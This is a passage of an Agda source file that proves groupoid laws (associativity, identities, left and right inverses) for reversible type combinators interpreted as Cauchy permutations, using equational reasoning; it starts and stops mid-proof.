c₁ ◎ (c₂ ◎ c₃) ∼ (c₁ ◎ c₂) ◎ c₃
assoc∼ {t₁} {t₂} {t₃} {t₄} {c₁} {c₂} {c₃} =
begin (c2cauchy (c₁ ◎ (c₂ ◎ c₃))
≡⟨ refl ⟩
scompcauchy
(c2cauchy c₁)
(subst Cauchy (size≡! c₁)
(scompcauchy
(c2cauchy c₂)
(subst Cauchy (size≡! c₂) (c2cauchy c₃))))
≡⟨ cong
(scompcauchy (c2cauchy c₁))
(subst-dist
scompcauchy
(size≡! c₁)
(c2cauchy c₂)
(subst Cauchy (size≡! c₂) (c2cauchy c₃))) ⟩
scompcauchy
(c2cauchy c₁)
(scompcauchy
(subst Cauchy (size≡! c₁) (c2cauchy c₂))
(subst Cauchy (size≡! c₁)
(subst Cauchy (size≡! c₂) (c2cauchy c₃))))
≡⟨ cong (λ x →
scompcauchy
(c2cauchy c₁)
(scompcauchy
(subst Cauchy (size≡! c₁) (c2cauchy c₂))
x))
(subst-trans (size≡! c₁) (size≡! c₂) (c2cauchy c₃)) ⟩
scompcauchy
(c2cauchy c₁)
(scompcauchy
(subst Cauchy (size≡! c₁) (c2cauchy c₂))
(subst Cauchy (trans (size≡! c₂) (size≡! c₁)) (c2cauchy c₃)))
≡⟨ scompassoc
(c2cauchy c₁)
(subst Cauchy (size≡! c₁) (c2cauchy c₂))
(subst Cauchy (trans (size≡! c₂) (size≡! c₁)) (c2cauchy c₃)) ⟩
scompcauchy
(scompcauchy
(c2cauchy c₁)
(subst Cauchy (size≡! c₁) (c2cauchy c₂)))
(subst Cauchy (trans (size≡! c₂) (size≡! c₁)) (c2cauchy c₃))
≡⟨ refl ⟩
c2cauchy ((c₁ ◎ c₂) ◎ c₃) ∎)
where open ≡-Reasoning
-- The combinators c : t₁ ⟷ t₂ are paths; we can transport
-- size-preserving properties across c. In particular, for some
-- appropriate P we want P(t₁) to map to P(t₂) via c.
-- The relation ~ validates the groupoid laws
c◎id∼c : {t₁ t₂ : U} {c : t₁ ⟷ t₂} → c ◎ id⟷ ∼ c
c◎id∼c {t₁} {t₂} {c} =
begin (c2cauchy (c ◎ id⟷)
≡⟨ refl ⟩
scompcauchy
(c2cauchy c)
(subst Cauchy (size≡! c) (allFin (size t₂)))
≡⟨ cong (λ x → scompcauchy (c2cauchy c) x)
(congD! {B = Cauchy} allFin (size≡! c)) ⟩
scompcauchy (c2cauchy c) (allFin (size t₁))
≡⟨ scomprid (c2cauchy c) ⟩
c2cauchy c ∎)
where open ≡-Reasoning
id◎c∼c : {t₁ t₂ : U} {c : t₁ ⟷ t₂} → id⟷ ◎ c ∼ c
id◎c∼c {t₁} {t₂} {c} =
begin (c2cauchy (id⟷ ◎ c)
≡⟨ refl ⟩
scompcauchy
(allFin (size t₁))
(subst Cauchy refl (c2cauchy c))
≡⟨ refl ⟩
scompcauchy (allFin (size t₁)) (c2cauchy c)
≡⟨ scomplid (c2cauchy c) ⟩
c2cauchy c ∎)
where open ≡-Reasoning
linv∼ : {t₁ t₂ : U} {c : t₁ ⟷ t₂} → c ◎ ! c ∼ id⟷
linv∼ {PLUS ZERO t} {.t} {unite₊} =
begin (c2cauchy {PLUS ZERO t} (unite₊ ◎ uniti₊)
≡⟨ refl ⟩
scompcauchy (idcauchy (size t)) (idcauchy (size t))
≡⟨ scomplid (idcauchy (size t)) ⟩
c2cauchy {PLUS ZERO t} id⟷ ∎)
where open ≡-Reasoning
linv∼ {t} {PLUS ZERO .t} {uniti₊} =
begin (c2cauchy {t} (uniti₊ ◎ unite₊)
≡⟨ refl ⟩
scompcauchy (idcauchy (size t)) (idcauchy (size t))
≡⟨ scomplid (idcauchy (size t)) ⟩
c2cauchy {t} id⟷ ∎)
where open ≡-Reasoning
linv∼ {PLUS t₁ t₂} {PLUS .t₂ .t₁} {swap₊} =
begin (c2cauchy {PLUS t₁ t₂} (swap₊ ◎ swap₊)
≡⟨ refl ⟩
scompcauchy
(swap+cauchy (size t₁) (size t₂))
(subst Cauchy (+-comm (size t₂) (size t₁))
(swap+cauchy (size t₂) (size t₁)))
≡⟨ swap+idemp (size t₁) (size t₂) ⟩
c2cauchy {PLUS t₁ t₂} id⟷ ∎)
where open ≡-Reasoning
linv∼ {PLUS t₁ (PLUS t₂ t₃)} {PLUS (PLUS .t₁ .t₂) .t₃} {assocl₊} =
begin (c2cauchy {PLUS t₁ (PLUS t₂ t₃)} (assocl₊ ◎ assocr₊)
≡⟨ refl ⟩
scompcauchy (idcauchy (size t₁ + (size t₂ + size t₃)))
(subst Cauchy (+-assoc (size t₁) (size t₂) (size t₃))
(idcauchy ((size t₁ + size t₂) + size t₃)))
≡⟨ cong
(scompcauchy (idcauchy (size t₁ + (size t₂ + size t₃))))
(congD! idcauchy (+-assoc (size t₁) (size t₂) (size t₃))) ⟩
scompcauchy (idcauchy (size t₁ + (size t₂ + size t₃)))
(idcauchy (size t₁ + (size t₂ + size t₃)))
≡⟨ scomplid (idcauchy (size t₁ + (size t₂ + size t₃))) ⟩
c2cauchy {PLUS t₁ (PLUS t₂ t₃)} id⟷ ∎)
where open ≡-Reasoning
linv∼ {PLUS (PLUS t₁ t₂) t₃} {PLUS .t₁ (PLUS .t₂ .t₃)} {assocr₊} =
begin (c2cauchy {PLUS (PLUS t₁ t₂) t₃} (assocr₊ ◎ assocl₊)
≡⟨ refl ⟩
scompcauchy (idcauchy ((size t₁ + size t₂) + size t₃))
(subst Cauchy (sym (+-assoc (size t₁) (size t₂) (size t₃)))
(idcauchy (size t₁ + (size t₂ + size t₃))))
≡⟨ cong
(scompcauchy (idcauchy ((size t₁ + size t₂) + size t₃)))
(congD! idcauchy (sym (+-assoc (size t₁) (size t₂) (size t₃)))) ⟩
scompcauchy (idcauchy ((size t₁ + size t₂) + size t₃))
(idcauchy ((size t₁ + size t₂) + size t₃))
≡⟨ scomplid (idcauchy ((size t₁ + size t₂) + size t₃)) ⟩
c2cauchy {PLUS (PLUS t₁ t₂) t₃} id⟷ ∎)
where open ≡-Reasoning
linv∼ {TIMES ONE t} {.t} {unite⋆} =
begin (c2cauchy {TIMES ONE t} (unite⋆ ◎ uniti⋆)
≡⟨ refl ⟩
scompcauchy
(subst Cauchy (sym (+-right-identity (size t))) (idcauchy (size t)))
(subst Cauchy (sym (+-right-identity (size t))) (idcauchy (size t)))
≡⟨ cong
(λ x → scompcauchy x x)
(congD! idcauchy (sym (+-right-identity (size t)))) ⟩
scompcauchy (idcauchy (size t + 0)) (idcauchy (size t + 0))
≡⟨ scomplid (idcauchy (size t + 0)) ⟩
c2cauchy {TIMES ONE t} id⟷ ∎)
where open ≡-Reasoning
linv∼ {t} {TIMES ONE .t} {uniti⋆} =
begin (c2cauchy {t} (uniti⋆ ◎ unite⋆)
≡⟨ refl ⟩
scompcauchy
(idcauchy (size t))
(subst Cauchy (+-right-identity (size t))
(subst Cauchy (sym (+-right-identity (size t)))
(idcauchy (size t))))
≡⟨ cong
(scompcauchy (idcauchy (size t)))
(subst-trans
(+-right-identity (size t))
(sym (+-right-identity (size t)))
(idcauchy (size t))) ⟩
scompcauchy
(idcauchy (size t))
(subst Cauchy (trans (sym (+-right-identity (size t)))
(+-right-identity (size t)))
(idcauchy (size t)))
≡⟨ cong
(λ x → scompcauchy
(idcauchy (size t))
(subst Cauchy x (idcauchy (size t))))
(trans-syml (+-right-identity (size t))) ⟩
scompcauchy
(idcauchy (size t))
(subst Cauchy refl (idcauchy (size t)))
≡⟨ scomplid (idcauchy (size t)) ⟩
c2cauchy {t} id⟷ ∎)
where open ≡-Reasoning
linv∼ {TIMES t₁ t₂} {TIMES .t₂ .t₁} {swap⋆} =
begin (c2cauchy {TIMES t₁ t₂} (swap⋆ ◎ swap⋆)
≡⟨ refl ⟩
scompcauchy
(swap⋆cauchy (size t₁) (size t₂))
(subst Cauchy (*-comm (size t₂) (size t₁))
(swap⋆cauchy (size t₂) (size t₁)))
≡⟨ swap⋆idemp (size t₁) (size t₂) ⟩
c2cauchy {TIMES t₁ t₂} id⟷ ∎)
where open ≡-Reasoning
linv∼ {TIMES t₁ (TIMES t₂ t₃)} {TIMES (TIMES .t₁ .t₂) .t₃} {assocl⋆} =
begin (c2cauchy {TIMES t₁ (TIMES t₂ t₃)} (assocl⋆ ◎ assocr⋆)
≡⟨ refl ⟩
scompcauchy (idcauchy (size t₁ * (size t₂ * size t₃)))
(subst Cauchy (*-assoc (size t₁) (size t₂) (size t₃))
(idcauchy ((size t₁ * size t₂) * size t₃)))
≡⟨ cong
(scompcauchy (idcauchy (size t₁ * (size t₂ * size t₃))))
(congD! idcauchy (*-assoc (size t₁) (size t₂) (size t₃))) ⟩
scompcauchy (idcauchy (size t₁ * (size t₂ * size t₃)))
(idcauchy (size t₁ * (size t₂ * size t₃)))
≡⟨ scomplid (idcauchy (size t₁ * (size t₂ * size t₃))) ⟩
c2cauchy {TIMES t₁ (TIMES t₂ t₃)} id⟷ ∎)
where open ≡-Reasoning
linv∼ {TIMES (TIMES t₁ t₂) t₃} {TIMES .t₁ (TIMES .t₂ .t₃)} {assocr⋆} =
begin (c2cauchy {TIMES (TIMES t₁ t₂) t₃} (assocr⋆ ◎ assocl⋆)
≡⟨ refl ⟩
scompcauchy (idcauchy ((size t₁ * size t₂) * size t₃))
(subst Cauchy (sym (*-assoc (size t₁) (size t₂) (size t₃)))
(idcauchy (size t₁ * (size t₂ * size t₃))))
≡⟨ cong
(scompcauchy (idcauchy ((size t₁ * size t₂) * size t₃)))
(congD! idcauchy (sym (*-assoc (size t₁) (size t₂) (size t₃)))) ⟩
scompcauchy (idcauchy ((size t₁ * size t₂) * size t₃))
(idcauchy ((size t₁ * size t₂) * size t₃))
≡⟨ scomplid (idcauchy ((size t₁ * size t₂) * size t₃)) ⟩
c2cauchy {TIMES (TIMES t₁ t₂) t₃} id⟷ ∎)
where open ≡-Reasoning
linv∼ {TIMES ZERO t} {ZERO} {distz} = refl
linv∼ {ZERO} {TIMES ZERO t} {factorz} = refl
linv∼ {TIMES (PLUS t₁ t₂) t₃} {PLUS (TIMES .t₁ .t₃) (TIMES .t₂ .t₃)} {dist} =
begin (c2cauchy {TIMES (PLUS t₁ t₂) t₃} (dist ◎ factor)
≡⟨ refl ⟩
scompcauchy (idcauchy ((size t₁ + size t₂) * size t₃))
(subst Cauchy (sym (distribʳ-*-+ (size t₃) (size t₁) (size t₂)))
(idcauchy ((size t₁ * size t₃) + (size t₂ * size t₃))))
≡⟨ cong
(scompcauchy (idcauchy ((size t₁ + size t₂) * size t₃)))
(congD! idcauchy
(sym (distribʳ-*-+ (size t₃) (size t₁) (size t₂)))) ⟩
scompcauchy (idcauchy ((size t₁ + size t₂) * size t₃))
(idcauchy ((size t₁ + size t₂) * size t₃))
≡⟨ scomplid (idcauchy ((size t₁ + size t₂) * size t₃)) ⟩
c2cauchy {TIMES (PLUS t₁ t₂) t₃} id⟷ ∎)
where open ≡-Reasoning
linv∼ {PLUS (TIMES t₁ t₃) (TIMES t₂ .t₃)} {TIMES (PLUS .t₁ .t₂) .t₃} {factor} =
begin (c2cauchy {PLUS (TIMES t₁ t₃) (TIMES t₂ t₃)} (factor ◎ dist)
≡⟨ refl ⟩
scompcauchy (idcauchy ((size t₁ * size t₃) + (size t₂ * size t₃)))
(subst Cauchy (distribʳ-*-+ (size t₃) (size t₁) (size t₂))
(idcauchy ((size t₁ + size t₂) * size t₃)))
≡⟨ cong
(scompcauchy
(idcauchy ((size t₁ * size t₃) + (size t₂ * size t₃))))
(congD! idcauchy
(distribʳ-*-+ (size t₃) (size t₁) (size t₂))) ⟩
scompcauchy (idcauchy ((size t₁ * size t₃) + (size t₂ * size t₃)))
(idcauchy ((size t₁ * size t₃) + (size t₂ * size t₃)))
≡⟨ scomplid (idcauchy ((size t₁ * size t₃) + (size t₂ * size t₃))) ⟩
c2cauchy {PLUS (TIMES t₁ t₃) (TIMES t₂ t₃)} id⟷ ∎)
where open ≡-Reasoning
linv∼ {t} {.t} {id⟷} =
begin (c2cauchy {t} (id⟷ ◎ id⟷)
≡⟨ refl ⟩
scompcauchy (idcauchy (size t)) (idcauchy (size t))
≡⟨ scomplid (idcauchy (size t)) ⟩
c2cauchy {t} id⟷ ∎)
where open ≡-Reasoning
linv∼ {t₁} {t₃} {_◎_ {t₂ = t₂} c₁ c₂} =
begin (c2cauchy {t₁} ((c₁ ◎ c₂) ◎ ((! c₂) ◎ (! c₁)))
≡⟨ refl ⟩
scompcauchy
(scompcauchy
(c2cauchy c₁)
(subst Cauchy (size≡! c₁) (c2cauchy c₂)))
(subst Cauchy (trans (size≡! c₂) (size≡! c₁))
(scompcauchy
(c2cauchy (! c₂))
(subst Cauchy (size≡! (! c₂)) (c2cauchy (! c₁)))))
≡⟨ sym (scompassoc
(c2cauchy c₁)
(subst Cauchy (size≡! c₁) (c2cauchy c₂))
(subst Cauchy (trans (size≡! c₂) (size≡! c₁))
(scompcauchy
(c2cauchy (! c₂))
(subst Cauchy (size≡! (! c₂)) (c2cauchy (! c₁)))))) ⟩
scompcauchy
(c2cauchy c₁)
(scompcauchy
(subst Cauchy (size≡! c₁) (c2cauchy c₂))
(subst Cauchy (trans (size≡! c₂) (size≡! c₁))
(scompcauchy
(c2cauchy (! c₂))
(subst Cauchy (size≡! (! c₂)) (c2cauchy (! c₁))))))
≡⟨ cong
(λ x → scompcauchy
(c2cauchy c₁)
(scompcauchy
(subst Cauchy (size≡! c₁) (c2cauchy c₂))
x))
(sym (subst-trans (size≡! c₁) (size≡! c₂)
(scompcauchy
(c2cauchy (! c₂))
(subst Cauchy (size≡! (! c₂)) (c2cauchy (! c₁)))))) ⟩
scompcauchy
(c2cauchy c₁)
(scompcauchy
(subst Cauchy (size≡! c₁) (c2cauchy c₂))
(subst Cauchy (size≡! c₁)
(subst Cauchy (size≡! c₂)
(scompcauchy
(c2cauchy (! c₂))
(subst Cauchy (size≡! (! c₂)) (c2cauchy (! c₁)))))))
≡⟨ cong
(scompcauchy (c2cauchy c₁))
(sym (subst-dist scompcauchy (size≡! c₁)
(c2cauchy c₂)
(subst Cauchy (size≡! c₂)
(scompcauchy
(c2cauchy (! c₂))
(subst Cauchy (size≡! (! c₂))
(c2cauchy (! c₁))))))) ⟩
scompcauchy
(c2cauchy c₁)
(subst Cauchy (size≡! c₁)
(scompcauchy
(c2cauchy c₂)
(subst Cauchy (size≡! c₂)
(scompcauchy
(c2cauchy (! c₂))
(subst Cauchy (size≡! (! c₂)) (c2cauchy (! c₁)))))))
≡⟨ cong
(λ x → scompcauchy
(c2cauchy c₁)
(subst Cauchy (size≡! c₁)
(scompcauchy (c2cauchy c₂) x)))
(subst-dist scompcauchy (size≡! c₂)
(c2cauchy (! c₂))
(subst Cauchy (size≡! (! c₂)) (c2cauchy (! c₁)))) ⟩
scompcauchy
(c2cauchy c₁)
(subst Cauchy (size≡! c₁)
(scompcauchy
(c2cauchy c₂)
(scompcauchy
(subst Cauchy (size≡! c₂) (c2cauchy (! c₂)))
(subst Cauchy (size≡! c₂)
(subst Cauchy (size≡! (! c₂)) (c2cauchy (! c₁)))))))
≡⟨ cong
(λ x → scompcauchy
(c2cauchy c₁)
(subst Cauchy (size≡! c₁) x))
(scompassoc
(c2cauchy c₂)
(subst Cauchy (size≡! c₂) (c2cauchy (! c₂)))
(subst Cauchy (size≡! c₂)
(subst Cauchy (size≡! (! c₂)) (c2cauchy (! c₁))))) ⟩
scompcauchy
(c2cauchy c₁)
(subst Cauchy (size≡! c₁)
(scompcauchy
(scompcauchy
(c2cauchy c₂)
(subst Cauchy (size≡! c₂) (c2cauchy (! c₂))))
(subst Cauchy (size≡! c₂)
(subst Cauchy (size≡! (! c₂)) (c2cauchy (! c₁))))))
≡⟨ cong
(λ x → scompcauchy
(c2cauchy c₁)
(subst Cauchy (size≡! c₁)
(scompcauchy
x
(subst Cauchy (size≡! c₂)
(subst Cauchy (size≡! (! c₂))
(c2cauchy (! c₁)))))))
(linv∼ {t₂} {t₃} {c₂}) ⟩
scompcauchy
(c2cauchy c₁)
(subst Cauchy (size≡! c₁)
(scompcauchy
(allFin (size t₂))
(subst Cauchy (size≡! c₂)
(subst Cauchy (size≡! (! c₂)) (c2cauchy (! c₁))))))
≡⟨ cong
(λ x → scompcauchy
(c2cauchy c₁)
(subst Cauchy (size≡! c₁) x))
(scomplid
(subst Cauchy (size≡! c₂)
(subst Cauchy (size≡! (! c₂)) (c2cauchy (! c₁))))) ⟩
scompcauchy
(c2cauchy c₁)
(subst Cauchy (size≡! c₁)
(subst Cauchy (size≡! c₂)
(subst Cauchy (size≡! (! c₂)) (c2cauchy (! c₁)))))
≡⟨ cong
(λ x → scompcauchy
(c2cauchy c₁)
(subst Cauchy (size≡! c₁) x))
(subst-trans (size≡! c₂) (size≡! (! c₂))
(c2cauchy (! c₁))) ⟩
scompcauchy
(c2cauchy c₁)
(subst Cauchy (size≡! c₁)
(subst Cauchy (trans (size≡! (! c₂)) (size≡! c₂))
(c2cauchy (! c₁))))
≡⟨ cong
(λ x → scompcauchy
(c2cauchy c₁)
(subst Cauchy (size≡! c₁)
(subst Cauchy x (c2cauchy (! c₁)))))
(trans
(cong (λ y → trans y (size≡! c₂)) (size≡!! c₂))
(trans-syml (size≡! c₂))) ⟩
scompcauchy
(c2cauchy c₁)
(subst Cauchy (size≡! c₁) (c2cauchy (! c₁)))
≡⟨ linv∼ {t₁} {t₂} {c₁} ⟩
c2cauchy {t₁} id⟷ ∎)
where open ≡-Reasoning
linv∼ {PLUS t₁ t₂} {PLUS t₃ t₄} {c₁ ⊕ c₂} =
begin (c2cauchy {PLUS t₁ t₂} ((c₁ ⊕ c₂) ◎ ((! c₁) ⊕ (! c₂)))
≡⟨ refl ⟩
scompcauchy
(pcompcauchy (c2cauchy c₁) (c2cauchy c₂))
(subst Cauchy (cong₂ _+_ (size≡! c₁) (size≡! c₂))
(pcompcauchy (c2cauchy (! c₁)) (c2cauchy (! c₂))))
≡⟨ cong
(scompcauchy (pcompcauchy (c2cauchy c₁) (c2cauchy c₂)))
(subst₂+
(size≡! c₁) (size≡! c₂)
(c2cauchy (! c₁)) (c2cauchy (! c₂))
pcompcauchy) ⟩
scompcauchy
(pcompcauchy (c2cauchy c₁) (c2cauchy c₂))
(pcompcauchy
(subst Cauchy (size≡! c₁) (c2cauchy (! c₁)))
(subst Cauchy (size≡! c₂) (c2cauchy (! c₂))))
≡⟨ pcomp-dist
(c2cauchy c₁)
(subst Cauchy (size≡! c₁) (c2cauchy (! c₁)))
(c2cauchy c₂) (subst Cauchy (size≡! c₂) (c2cauchy (! c₂))) ⟩
pcompcauchy
(scompcauchy
(c2cauchy c₁)
(subst Cauchy (size≡! c₁) (c2cauchy (! c₁))))
(scompcauchy
(c2cauchy c₂)
(subst Cauchy (size≡! c₂) (c2cauchy (! c₂))))
≡⟨ cong₂ pcompcauchy (linv∼ {t₁} {t₃} {c₁}) (linv∼ {t₂} {t₄} {c₂}) ⟩
pcompcauchy (c2cauchy {t₁} id⟷) (c2cauchy {t₂} id⟷)
≡⟨ pcomp-id {size t₁} {size t₂} ⟩
c2cauchy {PLUS t₁ t₂} id⟷ ∎)
where open ≡-Reasoning
linv∼ {TIMES t₁ t₂} {TIMES t₃ t₄} {c₁ ⊗ c₂} =
begin (c2cauchy {TIMES t₁ t₂} ((c₁ ⊗ c₂) ◎ ((! c₁) ⊗ (! c₂)))
≡⟨ refl ⟩
scompcauchy
(tcompcauchy (c2cauchy c₁) (c2cauchy c₂))
(subst Cauchy (cong₂ _*_ (size≡! c₁) (size≡! c₂))
(tcompcauchy (c2cauchy (! c₁)) (c2cauchy (! c₂))))
≡⟨ cong
(scompcauchy (tcompcauchy (c2cauchy c₁) (c2cauchy c₂)))
(subst₂*
(size≡! c₁) (size≡! c₂)
(c2cauchy (! c₁)) (c2cauchy (! c₂))
tcompcauchy) ⟩
scompcauchy
(tcompcauchy (c2cauchy c₁) (c2cauchy c₂))
(tcompcauchy
(subst Cauchy (size≡! c₁) (c2cauchy (! c₁)))
(subst Cauchy (size≡! c₂) (c2cauchy (! c₂))))
≡⟨ tcomp-dist
(c2cauchy c₁)
(subst Cauchy (size≡! c₁) (c2cauchy (! c₁)))
(c2cauchy c₂)
(subst Cauchy (size≡! c₂) (c2cauchy (! c₂))) ⟩
tcompcauchy
(scompcauchy
(c2cauchy c₁)
(subst Cauchy (size≡! c₁) (c2cauchy (! c₁))))
(scompcauchy
(c2cauchy c₂)
(subst Cauchy (size≡! c₂) (c2cauchy (! c₂))))
≡⟨ cong₂ tcompcauchy (linv∼ {t₁} {t₃} {c₁}) (linv∼ {t₂} {t₄} {c₂}) ⟩
tcompcauchy (c2cauchy {t₁} id⟷) (c2cauchy {t₂} id⟷)
≡⟨ tcomp-id {size t₁} {size t₂} ⟩
c2cauchy {TIMES t₁ t₂} id⟷ ∎)
where open ≡-Reasoning
linv∼ {PLUS ONE ONE} {BOOL} {foldBool} =
begin (c2cauchy {PLUS ONE ONE} (foldBool ◎ unfoldBool)
≡⟨ refl ⟩
scompcauchy (idcauchy 2) (idcauchy 2)
≡⟨ scomplid (idcauchy 2) ⟩
c2cauchy {PLUS ONE ONE} id⟷ ∎)
where open ≡-Reasoning
linv∼ {BOOL} {PLUS ONE ONE} {unfoldBool} =
begin (c2cauchy {BOOL} (unfoldBool ◎ foldBool)
≡⟨ refl ⟩
scompcauchy (idcauchy 2) (idcauchy 2)
≡⟨ scomplid (idcauchy 2) ⟩
c2cauchy {BOOL} id⟷ ∎)
where open ≡-Reasoning
rinv∼ : {t₁ t₂ : U} {c : t₁ ⟷ t₂} → ! c ◎ c ∼ id⟷
rinv∼ {PLUS ZERO t} {.t} {unite₊} =
begin (c2cauchy {t} (uniti₊ ◎ unite₊)
≡⟨ refl ⟩
scompcauchy (idcauchy (size t)) (idcauchy (size t))
≡⟨ scomplid (idcauchy (size t)) ⟩
c2cauchy {t} id⟷ ∎)
where open ≡-Reasoning
rinv∼ {t} {PLUS ZERO .t} {uniti₊} =
begin (c2cauchy {PLUS ZERO t} (unite₊ ◎ uniti₊)
≡⟨ refl ⟩
scompcauchy (idcauchy (size t)) (idcauchy (size t))
≡⟨ scomplid (idcauchy (size t)) ⟩
c2cauchy {PLUS ZERO t} id⟷ ∎)
where open ≡-Reasoning
rinv∼ {PLUS t₁ t₂} {PLUS .t₂ .t₁} {swap₊} =
begin (c2cauchy {PLUS t₂ t₁} (swap₊ ◎ swap₊)
≡⟨ refl ⟩
scompcauchy
(swap+cauchy (size t₂) (size t₁))
(subst Cauchy (+-comm (size t₁) (size t₂))
(swap+cauchy (size t₁) (size t₂)))
≡⟨ swap+idemp (size t₂) (size t₁) ⟩
c2cauchy {PLUS t₂ t₁} id⟷ ∎)
where open ≡-Reasoning
rinv∼ {PLUS t₁ (PLUS t₂ t₃)} {PLUS (PLUS .t₁ .t₂) .t₃} {assocl₊} =
begin (c2cauchy {PLUS (PLUS t₁ t₂) t₃} (assocr₊ ◎ assocl₊)
≡⟨ refl ⟩
scompcauchy (idcauchy ((size t₁ + size t₂) + size t₃))
(subst Cauchy (sym (+-assoc (size t₁) (size t₂) (size t₃)))
(idcauchy (size t₁ + (size t₂ + size t₃))))
≡⟨ cong
(scompcauchy (idcauchy ((size t₁ + size t₂) + size t₃)))
(congD! idcauchy (sym (+-assoc (size t₁) (size t₂) (size t₃)))) ⟩
scompcauchy (idcauchy ((size t₁ + size t₂) + size t₃))
(idcauchy ((size t₁ + size t₂) + size t₃))
≡⟨ scomplid (idcauchy ((size t₁ + size t₂) + size t₃)) ⟩
c2cauchy {PLUS (PLUS t₁ t₂) t₃} id⟷ ∎)
where open ≡-Reasoning
rinv∼ {PLUS (PLUS t₁ t₂) t₃} {PLUS .t₁ (PLUS .t₂ .t₃)} {assocr₊} =
begin (c2cauchy {PLUS t₁ (PLUS t₂ t₃)} (assocl₊ ◎ assocr₊)
≡⟨ refl ⟩
scompcauchy (idcauchy (size t₁ + (size t₂ + size t₃)))
(subst Cauchy (+-assoc (size t₁) (size t₂) (size t₃))
(idcauchy ((size t₁ + size t₂) + size t₃)))
≡⟨ cong
(scompcauchy (idcauchy (size t₁ + (size t₂ + size t₃))))
(congD! idcauchy (+-assoc (size t₁) (size t₂) (size t₃))) ⟩
scompcauchy (idcauchy (size t₁ + (size t₂ + size t₃)))
(idcauchy (size t₁ + (size t₂ + size t₃)))
≡⟨ scomplid (idcauchy (size t₁ + (size t₂ + size t₃))) ⟩
c2cauchy {PLUS t₁ (PLUS t₂ t₃)} id⟷ ∎)
where open ≡-Reasoning
rinv∼ {TIMES ONE t} {.t} {unite⋆} =
begin (c2cauchy {t} (uniti⋆ ◎ unite⋆)
≡⟨ refl ⟩
scompcauchy
(idcauchy (size t))
(subst Cauchy (+-right-identity (size t))
(subst Cauchy (sym (+-right-identity (size t)))
(idcauchy (size t))))
≡⟨ cong
(scompcauchy (idcauchy (size t)))
(subst-trans
(+-right-identity (size t))
(sym (+-right-identity (size t)))
(idcauchy (size t))) ⟩
scompcauchy
(idcauchy (size t))
(subst Cauchy (trans (sym (+-right-identity (size t)))
(+-right-identity (size t)))
(idcauchy (size t)))
≡⟨ cong
(λ x → scompcauchy
(idcauchy (size t))
(subst Cauchy x (idcauchy (size t))))
(trans-syml (+-right-identity (size t))) ⟩
scompcauchy
(idcauchy (size t))
(subst Cauchy refl (idcauchy (size t)))
≡⟨ scomplid (idcauchy (size t)) ⟩
c2cauchy {t} id⟷ ∎)
where open ≡-Reasoning
rinv∼ {t} {TIMES ONE .t} {uniti⋆} =
begin (c2cauchy {TIMES ONE t} (unite⋆ ◎ uniti⋆)
≡⟨ refl ⟩
scompcauchy
(subst Cauchy (sym (+-right-identity (size t))) (idcauchy (size t)))
(subst Cauchy (sym (+-right-identity (size t))) (idcauchy (size t)))
≡⟨ cong
(λ x → scompcauchy x x)
(congD! idcauchy (sym (+-right-identity (size t)))) ⟩
scompcauchy (idcauchy (size t + 0)) (idcauchy (size t + 0))
≡⟨ scomplid (idcauchy (size t + 0)) ⟩
c2cauchy {TIMES ONE t} id⟷ ∎)
where open ≡-Reasoning
rinv∼ {TIMES t₁ t₂} {TIMES .t₂ .t₁} {swap⋆} =
begin (c2cauchy {TIMES t₂ t₁} (swap⋆ ◎ swap⋆)
≡⟨ refl ⟩
scompcauchy
(swap⋆cauchy (size t₂) (size t₁))
(subst Cauchy (*-comm (size t₁) (size t₂))
(swap⋆cauchy (size t₁) (size t₂)))
≡⟨ swap⋆idemp (size t₂) (size t₁) ⟩
c2cauchy {TIMES t₂ t₁} id⟷ ∎)
where open ≡-Reasoning
rinv∼ {TIMES t₁ (TIMES t₂ t₃)} {TIMES (TIMES .t₁ .t₂) .t₃} {assocl⋆} =
begin (c2cauchy {TIMES (TIMES t₁ t₂) t₃} (assocr⋆ ◎ assocl⋆)
≡⟨ refl ⟩
scompcauchy (idcauchy ((size t₁ * size t₂) * size t₃))
(subst Cauchy (sym (*-assoc (size t₁) (size t₂) (size t₃)))
(idcauchy (size t₁ * (size t₂ * size t₃))))
≡⟨ cong
(scompcauchy (idcauchy ((size t₁ * size t₂) * size t₃)))
(congD! idcauchy (sym (*-assoc (size t₁) (size t₂) (size t₃)))) ⟩
scompcauchy (idcauchy ((size t₁ * size t₂) * size t₃))
(idcauchy ((size t₁ * size t₂) * size t₃))
≡⟨ scomplid (idcauchy ((size t₁ * size t₂) * size t₃)) ⟩
c2cauchy {TIMES (TIMES t₁ t₂) t₃} id⟷ ∎)
where open ≡-Reasoning
rinv∼ {TIMES (TIMES t₁ t₂) t₃} {TIMES .t₁ (TIMES .t₂ .t₃)} {assocr⋆} =
begin (c2cauchy {TIMES t₁ (TIMES t₂ t₃)} (assocl⋆ ◎ assocr⋆)
≡⟨ refl ⟩
scompcauchy (idcauchy (size t₁ * (size t₂ * size t₃)))
(subst Cauchy (*-assoc (size t₁) (size t₂) (size t₃))
(idcauchy ((size t₁ * size t₂) * size t₃)))
≡⟨ cong
(scompcauchy (idcauchy (size t₁ * (size t₂ * size t₃))))
(congD! idcauchy (*-assoc (size t₁) (size t₂) (size t₃))) ⟩
scompcauchy (idcauchy (size t₁ * (size t₂ * size t₃)))
(idcauchy (size t₁ * (size t₂ * size t₃)))
≡⟨ scomplid (idcauchy (size t₁ * (size t₂ * size t₃))) ⟩
c2cauchy {TIMES t₁ (TIMES t₂ t₃)} id⟷ ∎)
where open ≡-Reasoning
rinv∼ {TIMES ZERO t} {ZERO} {distz} = refl
rinv∼ {ZERO} {TIMES ZERO t} {factorz} = refl
rinv∼ {TIMES (PLUS t₁ t₂) t₃} {PLUS (TIMES .t₁ .t₃) (TIMES .t₂ .t₃)} {dist} =
begin (c2cauchy {PLUS (TIMES t₁ t₃) (TIMES t₂ t₃)} (factor ◎ dist)
≡⟨ refl ⟩
scompcauchy (idcauchy ((size t₁ * size t₃) + (size t₂ * size t₃)))
(subst Cauchy (distribʳ-*-+ (size t₃) (size t₁) (size t₂))
(idcauchy ((size t₁ + size t₂) * size t₃)))
≡⟨ cong
(scompcauchy
(idcauchy ((size t₁ * size t₃) + (size t₂ * size t₃))))
(congD! idcauchy
(distribʳ-*-+ (size t₃) (size t₁) (size t₂))) ⟩
scompcauchy (idcauchy ((size t₁ * size t₃) + (size t₂ * size t₃)))
(idcauchy ((size t₁ * size t₃) + (size t₂ * size t₃)))
≡⟨ scomplid (idcauchy ((size t₁ * size t₃) + (size t₂ * size t₃))) ⟩
c2cauchy {PLUS (TIMES t₁ t₃) (TIMES t₂ t₃)} id⟷ ∎)
where open ≡-Reasoning
rinv∼ {PLUS (TIMES t₁ t₃) (TIMES t₂ .t₃)} {TIMES (PLUS .t₁ .t₂) .t₃} {factor} =
